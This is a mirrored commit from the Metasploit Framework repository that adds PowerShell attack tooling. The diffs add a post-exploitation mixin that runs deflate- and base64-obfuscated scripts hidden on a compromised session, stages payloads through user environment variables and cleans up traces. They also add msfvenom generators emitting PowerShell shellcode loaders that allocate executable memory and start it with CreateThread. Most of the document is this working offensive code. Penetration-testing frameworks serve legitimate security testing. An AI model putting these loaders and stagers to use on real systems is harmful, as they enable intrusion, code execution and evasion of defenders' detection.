1
mirror of https://github.com/rapid7/metasploit-framework synced 2024-11-05 14:57:30 +01:00

Landing sempervictus's Powershell features

Adding the payload generator, but not the post module -- couldn't get a
satisfactory test out of the module (see the comments on #251).

Please open a new request with the post module and a test scenario, like
a sample script or something to drop into /scripts/powershell.

I like the powershell stuff a lot; I imagine it's a popular set of
tools on high-value targets, like workstations of IT people.

[Closes #251]

Squashed commit of the following:

commit 46475c27a2d0a84b62167a65c9a158dfb7c9e755
Author: Tod Beardsley <todb@metasploit.com>
Date:   Fri May 18 15:23:22 2012 -0500

    Fixing whitespace on msfvenom case list.

commit 7e4c6613004e9b70e0ba4653e9eaa83470429c7e
Merge: 81a7d62 52183aa
Author: Tod Beardsley <todb@metasploit.com>
Date:   Fri May 18 15:06:51 2012 -0500

    Merge branch 'master' into rage-ps

commit 81a7d62c6d
Author: RageLtMan <rageltman [at] sempervictus>
Date:   Tue Mar 20 20:19:13 2012 -0400

    powershell for msfvenom

commit 672c7bc37e
Merge: 3e86dc4 ed542e2
Author: RageLtMan <rageltman [at] sempervictus>
Date:   Tue Mar 20 20:08:12 2012 -0400

    exe.rb merge cleanup

commit 3e86dc4c40
Author: RageLtMan <rageltman [at] sempervictus>
Date:   Tue Mar 20 20:06:03 2012 -0400

    psh encoder cleanup

commit f619ed477f
Author: RageLtMan <rageltman@sempervictus.com>
Date:   Sun Feb 5 13:35:11 2012 -0500

    method call fix for psh-net encoder

commit 7b035e6da0
Author: RageLtMan <rageltman@sempervictus.com>
Date:   Fri Feb 3 18:53:54 2012 -0500

    PS encoders: .net and architecture dependent native (psh-net, psh)

commit 7a2749bf26
Merge: 32730b9 f89853d
Author: RageLtMan <rageltman@sempervictus.com>
Date:   Fri Feb 3 18:38:03 2012 -0500

    Merge branch 'master' into powershell

commit 32730b96be
Merge: e69fcd1 f6a6963
Author: RageLtMan <rageltman@sempervictus.com>
Date:   Wed Jan 25 10:33:17 2012 -0500

    Merge branch 'master' of https://github.com/rapid7/metasploit-framework into powershell

commit e69fcd1a83
Author: RageLtMan <rageltman@sempervictus.com>
Date:   Wed Jan 25 07:59:38 2012 -0500

    msfvenom psh addition

commit 9a5d8ead7e
Author: RageLtMan <rageltman@sempervictus.com>
Date:   Wed Jan 25 07:29:38 2012 -0500

    Proper author reference

commit 9fd8ac75a8
Author: RageLtMan <rageltman@sempervictus.com>
Date:   Tue Jan 24 19:07:30 2012 -0500

    Fix script handling

commit fa363dfe96
Author: RageLtMan <rageltman@sempervictus.com>
Date:   Tue Jan 24 17:31:09 2012 -0500

    added Msf::Post::Windows::Powershell, reworked post module to use mixin

commit e078d15b54
Author: RageLtMan <rageltman@sempervictus.com>
Date:   Mon Jan 23 13:42:35 2012 -0500

    vprint_good change

commit 355f8bb19a
Author: RageLtMan <rageltman@sempervictus.com>
Date:   Mon Jan 23 12:50:51 2012 -0500

    exec powershell module

commit 5f95094449
Author: RageLtMan <rageltman@sempervictus.com>
Date:   Mon Jan 23 12:45:41 2012 -0500

    powershell encoder support - Redmine Feature #6049
This commit is contained in:
Tod Beardsley 2012-05-18 16:39:49 -05:00
parent 52183aa249
commit 7811b0a3fd
3 changed files with 307 additions and 4 deletions

View File

@ -0,0 +1,203 @@
require 'zlib'
require 'msf/core/post/common'
module Msf
class Post
module Windows
module Powershell
include ::Msf::Post::Common
# List of running processes, open channels, and env variables...
# Suffix for environment variables
def have_powershell?
cmd_out = cmd_exec("powershell get-host")
return true if cmd_out =~ /Name.*Version.*InstanceID/
return false
end
def make_subs(script, subs)
subs.each do |set|
script.gsub!(set[0],set[1])
end
if datastore['VERBOSE']
print_good("Final Script: ")
script.each_line {|l| print_status("\t#{l}")}
end
end
def process_subs(subs)
return [] if subs.nil? or subs.empty?
new_subs = []
subs.split(';').each do |set|
new_subs << set.split(',', 2)
end
return new_subs
end
def read_script(script)
script_in = ''
begin
# Open script file for reading
fd = ::File.new(script, 'r')
while (line = fd.gets)
script_in << line
end
# Close open file
fd.close()
rescue Errno::ENAMETOOLONG, Errno::ENOENT
# Treat script as a... script
script_in = script
end
return script_in
end
def compress_script(script_in, eof = nil)
# Compress using the Deflate algorithm
compressed_stream = ::Zlib::Deflate.deflate(script_in,
::Zlib::BEST_COMPRESSION)
# Base64 encode the compressed file contents
encoded_stream = Rex::Text.encode_base64(compressed_stream)
# Build the powershell expression
# Decode base64 encoded command and create a stream object
psh_expression = "$stream = New-Object IO.MemoryStream(,"
psh_expression += "$([Convert]::FromBase64String('#{encoded_stream}')));"
# Read & delete the first two bytes due to incompatibility with MS
psh_expression += "$stream.ReadByte()|Out-Null;"
psh_expression += "$stream.ReadByte()|Out-Null;"
# Uncompress and invoke the expression (execute)
psh_expression += "$(Invoke-Expression $(New-Object IO.StreamReader("
psh_expression += "$(New-Object IO.Compression.DeflateStream("
psh_expression += "$stream,"
psh_expression += "[IO.Compression.CompressionMode]::Decompress)),"
psh_expression += "[Text.Encoding]::ASCII)).ReadToEnd());"
# If eof is set, add a marker to signify end of script output
if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end
# Convert expression to unicode
unicode_expression = Rex::Text.to_unicode(psh_expression)
# Base64 encode the unicode expression
encoded_expression = Rex::Text.encode_base64(unicode_expression)
return encoded_expression
end
def execute_script(script)
running_pids, open_channels = [], []
# Execute using -EncodedCommand
cmd_out = session.sys.process.execute("powershell -EncodedCommand " +
"#{script}", nil, {'Hidden' => true, 'Channelized' => true})
# Add to list of running processes
running_pids << cmd_out.pid
# Add to list of open channels
open_channels << cmd_out
return [cmd_out, running_pids, open_channels]
end
def stage_to_env(compressed_script, env_suffix = Rex::Text.rand_text_alpha(8))
# Divide the encoded script into 8000 byte chunks and iterate
index = 0
count = 8000
while (index < compressed_script.size - 1)
# Define random, but serialized variable name
env_prefix = "%05d" % ((index + 8000)/8000)
env_variable = env_prefix + env_suffix
# Create chunk
chunk = compressed_script[index, count]
# Build the set commands
set_env_variable = "[Environment]::SetEnvironmentVariable("
set_env_variable += "'#{env_variable}',"
set_env_variable += "'#{chunk}', 'User')"
# Compress and encode the set command
encoded_stager = compress_script(set_env_variable)
# Stage the payload
print_good(" - Bytes remaining: #{compressed_script.size - index}")
execute_script(encoded_stager)
# Increment index
index += count
end
# Build the script reassembler
reassemble_command = "[Environment]::GetEnvironmentVariables('User').keys|"
reassemble_command += "Select-String #{env_suffix}|Sort-Object|%{"
reassemble_command += "$c+=[Environment]::GetEnvironmentVariable($_,'User')"
reassemble_command += "};Invoke-Expression $($([Text.Encoding]::Unicode."
reassemble_command += "GetString($([Convert]::FromBase64String($c)))))"
# Compress and encode the reassemble command
encoded_script = compress_script(reassemble_command)
return encoded_script
end
def write_to_log(cmd_out, log_file, eof)
# Open log file for writing
fd = ::File.new(log_file, 'w+')
# Read output until eof and write to log
while (line = cmd_out.channel.read())
if (line.sub!(/#{eof}/, ''))
fd.write(line)
vprint_good("\t#{line}")
cmd_out.channel.close()
break
end
fd.write(line)
vprint_good("\t#{line}")
end
# Close log file
fd.close()
return
end
def clean_up(script_file, eof, running_pids =[], open_channels = [], env_suffix = Rex::Text.rand_text_alpha(8))
# Remove environment variables
env_del_command = "[Environment]::GetEnvironmentVariables('User').keys|"
env_del_command += "Select-String #{env_suffix}|%{"
env_del_command += "[Environment]::SetEnvironmentVariable($_,$null,'User')}"
script = compress_script(env_del_command, eof)
cmd_out, running_pids, open_channels = *execute_script(script)
write_to_log(cmd_out, "/dev/null", eof)
# Kill running processes
running_pids.each() do |pid|
session.sys.process.kill(pid)
end
# Close open channels
open_channels.each() do |chan|
chan.channel.close()
end
::File.delete(script_file) if datastore['DELETE']
return
end
end; end; end; end

View File

@ -1,5 +1,5 @@
##
# $Id$
# $Id: exe.rb 14286 2011-11-20 01:41:04Z rapid7 $
##
###
@ -1078,6 +1078,95 @@ End Sub
source
end
def self.to_win32pe_psh_net(framework, code, opts={})
var_code = Rex::Text.rand_text_alpha(rand(8)+8)
var_kernel32 = Rex::Text.rand_text_alpha(rand(8)+8)
var_baseaddr = Rex::Text.rand_text_alpha(rand(8)+8)
var_threadHandle = Rex::Text.rand_text_alpha(rand(8)+8)
var_output = Rex::Text.rand_text_alpha(rand(8)+8)
var_temp = Rex::Text.rand_text_alpha(rand(8)+8)
var_codeProvider = Rex::Text.rand_text_alpha(rand(8)+8)
var_compileParams = Rex::Text.rand_text_alpha(rand(8)+8)
var_syscode = Rex::Text.rand_text_alpha(rand(8)+8)
code = code.unpack('C*')
psh = "Set-StrictMode -Version 2\r\n"
psh << "$#{var_syscode} = @\"\r\nusing System;\r\nusing System.Runtime.InteropServices;\r\n"
psh << "namespace #{var_kernel32} {\r\n"
psh << "public class func {\r\n"
psh << "[Flags] public enum AllocationType { Commit = 0x1000, Reserve = 0x2000 }\r\n"
psh << "[Flags] public enum MemoryProtection { ExecuteReadWrite = 0x40 }\r\n"
psh << "[Flags] public enum Time : uint { Infinite = 0xFFFFFFFF }\r\n"
psh << "[DllImport(\"kernel32.dll\")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);\r\n"
psh << "[DllImport(\"kernel32.dll\")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);\r\n"
psh << "[DllImport(\"kernel32.dll\")] public static extern int WaitForSingleObject(IntPtr hHandle, Time dwMilliseconds);\r\n"
psh << "} }\r\n"
psh << "\"@\r\n\r\n"
psh << "$#{var_codeProvider} = New-Object Microsoft.CSharp.CSharpCodeProvider\r\n"
psh << "$#{var_compileParams} = New-Object System.CodeDom.Compiler.CompilerParameters\r\n"
psh << "$#{var_compileParams}.ReferencedAssemblies.AddRange(@(\"System.dll\", [PsObject].Assembly.Location))\r\n"
psh << "$#{var_compileParams}.GenerateInMemory = $True\r\n"
psh << "$#{var_output} = $#{var_codeProvider}.CompileAssemblyFromSource($#{var_compileParams}, $#{var_syscode})\r\n\r\n"
psh << "[Byte[]]$#{var_code} = 0x#{code[0].to_s(16)}"
lines = []
1.upto(code.length-1) do |byte|
if(byte % 10 == 0)
lines.push "\r\n$#{var_code} += 0x#{code[byte].to_s(16)}"
else
lines.push ",0x#{code[byte].to_s(16)}"
end
end
psh << lines.join("") + "\r\n\r\n"
psh << "$#{var_baseaddr} = [#{var_kernel32}.func]::VirtualAlloc(0, $#{var_code}.Length + 1, [#{var_kernel32}.func+AllocationType]::Reserve -bOr [#{var_kernel32}.func+AllocationType]::Commit, [#{var_kernel32}.func+MemoryProtection]::ExecuteReadWrite)\r\n"
psh << "if ([Bool]!$#{var_baseaddr}) { $global:result = 3; return }\r\n"
psh << "[System.Runtime.InteropServices.Marshal]::Copy($#{var_code}, 0, $#{var_baseaddr}, $#{var_code}.Length)\r\n"
psh << "[IntPtr] $#{var_threadHandle} = [#{var_kernel32}.func]::CreateThread(0,0,$#{var_baseaddr},0,0,0)\r\n"
psh << "if ([Bool]!$#{var_threadHandle}) { $global:result = 7; return }\r\n"
psh << "$#{var_temp} = [#{var_kernel32}.func]::WaitForSingleObject($#{var_threadHandle}, [#{var_kernel32}.func+Time]::Infinite)\r\n"
end
def self.to_win32pe_psh(framework, code, opts={})
var_code = Rex::Text.rand_text_alpha(rand(8)+8)
var_win32_func = Rex::Text.rand_text_alpha(rand(8)+8)
var_payload = Rex::Text.rand_text_alpha(rand(8)+8)
var_size = Rex::Text.rand_text_alpha(rand(8)+8)
var_rwx = Rex::Text.rand_text_alpha(rand(8)+8)
var_iter = Rex::Text.rand_text_alpha(rand(8)+8)
code = code.unpack("C*")
# Add wrapper script
psh = "$#{var_code} = @\"\r\n"
psh << "[DllImport(\"kernel32.dll\")]\r\n"
psh << "public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);\r\n"
psh << "[DllImport(\"kernel32.dll\")]\r\n"
psh << "public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);\r\n"
psh << "[DllImport(\"msvcrt.dll\")]\r\n"
psh << "public static extern IntPtr memset(IntPtr dest, uint src, uint count);\r\n"
psh << "\"@\r\n"
psh << "$#{var_win32_func} = Add-Type -memberDefinition $#{var_code} -Name \"Win32\" -namespace Win32Functions -passthru\r\n"
# Set up the payload string
psh << "[Byte[]]$#{var_payload} = 0x#{code[0].to_s(16)}"
lines = []
1.upto(code.length-1) do |byte|
if(byte % 10 == 0)
lines.push "\r\n$#{var_payload} += 0x#{code[byte].to_s(16)}"
else
lines.push ",0x#{code[byte].to_s(16)}"
end
end
psh << lines.join("") + "\r\n\r\n"
psh << "$#{var_size} = 0x1000\r\n"
psh << "if ($#{var_payload}.Length -gt 0x1000) {$#{var_size} = $#{var_payload}.Length}\r\n"
psh << "$#{var_rwx}=$#{var_win32_func}::VirtualAlloc(0,0x1000,$#{var_size},0x40)\r\n"
psh << "for ($#{var_iter}=0;$#{var_iter} -le ($#{var_payload}.Length-1);$#{var_iter}++) {$#{var_win32_func}::memset([IntPtr]($#{var_rwx}.ToInt32()+$#{var_iter}), $#{var_payload}[$#{var_iter}], 1)}\r\n"
psh << "$#{var_win32_func}::CreateThread(0,0,$#{var_rwx},0,0,0)\r\n"
end
def self.to_win32pe_vbs(framework, code, opts={})
to_exe_vbs(to_win32pe(framework, code, opts), opts)
end
@ -1824,13 +1913,19 @@ End Sub
exe = Msf::Util::EXE.to_executable(framework, arch, tmp_plat, code, exeopts)
output = Msf::Util::EXE.to_jsp_war(exe)
when 'psh'
output = Msf::Util::EXE.to_win32pe_psh(framework, code, exeopts)
when 'psh-net'
output = Msf::Util::EXE.to_win32pe_psh_net(framework, code, exeopts)
end
output
end
def self.to_executable_fmt_formats
['dll','exe','exe-small','elf','macho','vba','vba-exe','vbs','loop-vbs','asp','aspx','war']
['dll','exe','exe-small','elf','macho','vba','vba-exe','vbs','loop-vbs','asp','aspx','war','psh','psh-net']
end
#

View File

@ -400,7 +400,7 @@ if opts[:format] !~/ruby|rb|perl|pl|bash|sh|c|js|dll|elf/i
end
case opts[:format]
when /ruby|rb|perl|pl|bash|sh|^c$|js_le|raw/i
when /ruby|rb|perl|pl|bash|^sh$|^c$|js_le|raw/i
$stdout.write Msf::Simple::Buffer.transform(payload_raw, opts[:format])
when /asp$/
asp = Msf::Util::EXE.to_win32pe_asp($framework, payload_raw, exeopts)
@ -478,8 +478,13 @@ when /war/i
else
exe = Msf::Util::EXE.to_jsp_war(exe)
end
$stdout.write exe
when /psh/i
psh = Msf::Util::EXE.to_win32pe_psh($framework, payload_raw, exeopts)
$stdout.write psh
when /psh-net/i
psh = Msf::Util::EXE.to_win32pe_psh_net($framework, payload_raw, exeopts)
$stdout.write psh
else
print_error("Unsupported format")
exit